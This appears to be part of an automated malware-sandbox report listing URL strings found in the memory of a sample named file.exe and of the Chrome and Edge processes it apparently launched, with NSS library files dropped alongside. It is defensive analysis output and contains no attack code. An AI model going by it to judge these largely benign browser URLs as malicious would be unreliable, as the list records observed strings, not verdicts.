Source: chrome.exe, 00000003.00000003.2270157048.0000716C02D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270058451.0000716C0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269906541.0000716C02594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000003.00000003.2247923327.00004108006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270058451.0000716C0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2362590067.0000410800744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269906541.0000716C02594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000003.2247130128.0000410800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000002.2362727896.000041080078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000003.00000002.2362727896.000041080078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000003.00000002.2362590067.0000410800744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000003.00000003.2291613816.0000716C030FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab
Source: chrome.exe, 00000003.00000002.2369428302.0000716C0266C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2368519522.0000716C02584000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: msedge.exe, 00000007.00000002.2463022277.00000E20003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000007.00000002.2463022277.00000E20003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: chrome.exe, 00000003.00000002.2371631544.0000716C02704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2433948066.0000716C02928000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2458217336.0000716C03164000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2369187282.0000716C0260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434576716.0000716C029A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000003.00000003.2320867661.0000716C02E60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyf
Source: chrome.exe, 00000003.00000002.2369187282.0000716C0260C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2458391855.0000716C031CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434576716.0000716C029A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000003.00000002.2458391855.0000716C031CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneaf
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000003.00000002.2458391855.0000716C031CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434576716.0000716C029A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000003.00000002.2368446458.0000716C02570000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2438268411.0000716C02BA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log6.8.dr, 000003.log3.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log3.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: file.exe, 00000000.00000003.2524968649.000000001DBAB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2524855173.000000001DBAB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2526405097.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2591137748.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2601465031.000000001DBB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2525766385.000000001DBAC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2690539449.000000001DBB2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2525027955.000000001DBAC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2526559818.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2525921756.000000001DBAC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2690327347.000000001DB8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2511072073.000000001DBAB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2601344073.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2590865854.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2526305468.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2601201015.000000001DBB0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2526063234.000000001DBAD000.00000004.00000020.00020000.00000000.sdmp, json[1].json0.0.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMin
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log3.8.dr, json[1].json0.0.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: msedge.exe, 00000007.00000002.2463022277.00000E20003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000003.00000002.2457297017.0000716C0300C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com/$rpc/google.internal.onegoogle.asyncdata.v1.AsyncDataService/GetAsyn
Source: chrome.exe, 00000003.00000002.2459334451.0000716C033C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000003.00000002.2458659166.0000716C03274000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2464605103.0000716C03D31000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000003.00000002.2458279330.0000716C03180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441516250.0000716C02E98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2464605103.0000716C03D31000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E7D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441082376.0000716C02E1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2425391432.0000716C027B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2365107366.0000716C022E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000003.2320867661.0000716C02E7D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262736431.0000716C02C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2458279330.0000716C03180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000003.00000002.2456922284.0000716C02FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2320867661.0000716C02E7D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262736431.0000716C02C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000003.00000002.2364352752.0000716C0220C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000003.00000002.2456922284.0000716C02FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2320867661.0000716C02E7D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262736431.0000716C02C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2457297017.0000716C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2367350850.0000716C024C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000003.00000002.2456922284.0000716C02FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2320867661.0000716C02E7D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262736431.0000716C02C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000002.2458279330.0000716C03180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441254268.0000716C02E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000003.00000002.2369846834.0000716C026D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000007.00000003.2371929721.00000E2000280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372276180.00000E2000284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2371633364.00000E200027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000003.00000002.2368446458.0000716C02570000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2438268411.0000716C02BA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.2270157048.0000716C02D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2270058451.0000716C0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2269906541.0000716C02594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000002.2458279330.0000716C03180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2463025260.0000716C03790000.00000004.00000800.00020000.00000000.sdmp, chromecache_446.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chrome.exe, 00000003.00000002.2463025260.0000716C03790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=trueqator
Source: chrome.exe, 00000003.00000002.2458279330.0000716C03180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2463025260.0000716C03790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=trueql
Source: chrome.exe, 00000003.00000002.2438268411.0000716C02BA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000003.00000002.2364872279.0000716C0228C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: chrome.exe, 00000003.00000002.2364961205.0000716C022A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comb
Source: chrome.exe, 00000003.00000002.2369846834.0000716C026D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434650320.0000716C029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434872104.0000716C02A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441446792.0000716C02E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2369846834.0000716C026D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434650320.0000716C029C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434872104.0000716C02A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441446792.0000716C02E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: chrome.exe, 00000003.00000003.2290709845.0000716C02518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000003.00000002.2369428302.0000716C0266C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: file.exe, 00000000.00000003.2601234523.000000002412B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2601234523.000000002412B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: chrome.exe, 00000003.00000002.2438815770.0000716C02C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp, JEGHJDGIJECGDHJJECGH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2694857353.0000000023C20000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441192414.0000716C02E48000.00000004.00000800.00020000.00000000.sdmp, AKJDGIEH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000002.2441446792.0000716C02E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000002.2441446792.0000716C02E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000002.2441446792.0000716C02E88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch7:
Source: chrome.exe, 00000003.00000003.2290709845.0000716C02518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000003.00000002.2458863953.0000716C03308000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000003.00000003.2290709845.0000716C02518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000003.2262572909.0000716C02EFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000002.2441192414.0000716C02E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000003.00000002.2434922638.0000716C02A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char9e3
Source: chrome.exe, 00000003.00000002.2439452920.0000716C02CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000003.00000002.2439452920.0000716C02CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2hd
Source: chrome.exe, 00000003.00000002.2456386815.0000716C02F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000003.00000002.2458279330.0000716C03180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2438105283.0000716C02B74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434714854.0000716C029E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000003.00000002.2438105283.0000716C02B74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2434714854.0000716C029E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2365872335.0000716C023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000003.00000002.2458279330.0000716C03180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gsql
